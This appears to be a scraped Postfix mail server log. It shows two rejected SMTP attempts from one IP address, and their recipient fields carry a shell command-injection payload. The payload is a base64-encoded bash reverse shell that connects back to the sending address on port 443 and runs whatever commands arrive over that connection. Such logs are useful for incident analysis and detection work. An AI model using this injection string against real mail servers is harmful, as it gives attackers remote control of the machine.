2026-10-29T09:10:17.066433+00:00 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxl ...
show more2026-10-29T09:10:17.066433+00:00 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 29 09:10:17 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-29T08:05:22.541479+00:00 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxl ...
show more2026-10-29T08:05:22.541479+00:00 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 29 08:05:22 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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